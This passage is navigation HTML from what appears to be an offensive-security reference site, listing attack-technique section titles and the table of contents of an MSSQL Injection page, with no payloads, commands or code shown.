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<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
Client Side Path Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Client%20Side%20Path%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Cross Site Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Cross Site Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Cross-Site%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DOM Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DOM Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DOM%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
DOM Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Denial of Service
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Denial of Service
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Denial%20of%20Service/" class="md-nav__link">
<span class="md-ellipsis">
Denial of Service
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
<span class="md-ellipsis">
LFI to RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../File%20Inclusion/Wrappers/" class="md-nav__link">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Headless Browser
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Headless Browser
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Headless%20Browser/" class="md-nav__link">
<span class="md-ellipsis">
Headless Browser
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
<span class="md-ellipsis">
Bazaar
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
<span class="md-ellipsis">
Git
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
<span class="md-ellipsis">
Mercurial
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
<span class="md-ellipsis">
Subversion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
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JSON Web Token
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LDAP Injection
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LaTeX Injection
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LaTeX Injection
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Mass Assignment
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Mass Assignment
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Mass Assignment
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Active Directory Attacks
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Bind Shell
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Cloud - AWS
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Cloud - Azure
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<a href="../../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
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Cobalt Strike
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<a href="../../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
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Container - Docker
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<a href="../../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
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Container - Kubernetes
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<a href="../../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
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Application Escape and Breakout
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HTML Smuggling
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Hash Cracking
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Initial Access
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<a href="../../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
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Linux - Evasion
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<a href="../../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
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Linux - Persistence
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Linux - Privilege Escalation
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MSSQL Server
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</a>
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<a href="../../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
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Metasploit
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Bug Hunting Methodology and Enumeration
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Network Discovery
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Network Pivoting Techniques
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Office - Attacks
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Powershell
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<a href="../../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
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Reverse Shell Cheat Sheet
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<a href="../../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
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Source Code Management &amp; CI/CD Compromise
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Vulnerability Reports
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<a href="../../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
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Subdomains Enumeration
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
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Windows - AMSI Bypass
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
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Windows - DPAPI
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</a>
</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Defenses
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</a>
</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Download and execute methods
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Mimikatz
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</a>
</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Persistence
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
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Windows - Privilege Escalation
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</li>
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<a href="../../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
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Windows - Using credentials
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NoSQL Injection
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NoSQL Injection
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<li class="md-nav__item">
<a href="../../NoSQL%20Injection/" class="md-nav__link">
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NoSQL Injection
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OAuth Misconfiguration
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
OAuth Misconfiguration
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<li class="md-nav__item">
<a href="../../OAuth%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
OAuth Misconfiguration
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
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ORM Leak
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_39">
<span class="md-nav__icon md-icon"></span>
ORM Leak
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../ORM%20Leak/" class="md-nav__link">
<span class="md-ellipsis">
ORM Leak
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</li>
</ul>
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</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
<span class="md-ellipsis">
Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirect
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
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<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_41">
<span class="md-nav__icon md-icon"></span>
Prompt Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
</span>
</a>
</li>
</ul>
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</li>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
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Prototype Pollution
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
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Prototype Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Prototype%20Pollution/" class="md-nav__link">
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Prototype Pollution
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Race Condition
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<span class="md-nav__icon md-icon"></span>
Race Condition
</label>
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<li class="md-nav__item">
<a href="../../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
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</ul>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
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Regular Expression
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
Regular Expression
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Regular%20Expression/" class="md-nav__link">
<span class="md-ellipsis">
Regular Expression
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</a>
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</ul>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
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<span class="md-ellipsis">
Request Smuggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_45">
<span class="md-nav__icon md-icon"></span>
Request Smuggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
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</a>
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</ul>
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</li>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
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<span class="md-ellipsis">
SAML Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_46">
<span class="md-nav__icon md-icon"></span>
SAML Injection
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<li class="md-nav__item">
<a href="../../SAML%20Injection/" class="md-nav__link">
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SAML Injection
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" checked>
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<span class="md-ellipsis">
SQL Injection
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<span class="md-nav__icon md-icon"></span>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="true">
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<span class="md-nav__icon md-icon"></span>
SQL Injection
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<a href="../" class="md-nav__link">
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SQL Injection
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</li>
<li class="md-nav__item">
<a href="../BigQuery%20Injection/" class="md-nav__link">
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Google BigQuery SQL Injection
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</a>
</li>
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Cassandra Injection
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</li>
<li class="md-nav__item">
<a href="../DB2%20Injection/" class="md-nav__link">
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DB2 Injection
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MSSQL Injection
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<span class="md-nav__icon md-icon"></span>
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MSSQL Injection
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Summary
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</a>
</li>
<li class="md-nav__item">
<a href="#mssql-default-databases" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Default Databases
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-comments" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Comments
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-enumeration" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Enumeration
</span>
</a>
<nav class="md-nav" aria-label="MSSQL Enumeration">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#mssql-list-databases" class="md-nav__link">
<span class="md-ellipsis">
MSSQL List Databases
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-list-tables" class="md-nav__link">
<span class="md-ellipsis">
MSSQL List Tables
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-list-columns" class="md-nav__link">
<span class="md-ellipsis">
MSSQL List Columns
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#mssql-union-based" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Union Based
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-error-based" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Error Based
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-blind-based" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Blind Based
</span>
</a>
<nav class="md-nav" aria-label="MSSQL Blind Based">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#mssql-blind-with-substring-equivalent" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Blind With Substring Equivalent
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#mssql-time-based" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Time Based
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-stacked-query" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Stacked Query
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-file-manipulation" class="md-nav__link">
<span class="md-ellipsis">
MSSQL File Manipulation
</span>
</a>
<nav class="md-nav" aria-label="MSSQL File Manipulation">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#mssql-read-file" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Read File
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-write-file" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Write File
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#mssql-command-execution" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Command Execution
</span>
</a>
<nav class="md-nav" aria-label="MSSQL Command Execution">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#xp_cmdshell" class="md-nav__link">
<span class="md-ellipsis">
XP_CMDSHELL
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#python-script" class="md-nav__link">
<span class="md-ellipsis">
Python Script
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#mssql-out-of-band" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Out of Band
</span>
</a>
<nav class="md-nav" aria-label="MSSQL Out of Band">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#mssql-dns-exfiltration" class="md-nav__link">
<span class="md-ellipsis">
MSSQL DNS exfiltration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mssql-unc-path" class="md-nav__link">
<span class="md-ellipsis">
MSSQL UNC Path
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#mssql-trusted-links" class="md-nav__link">
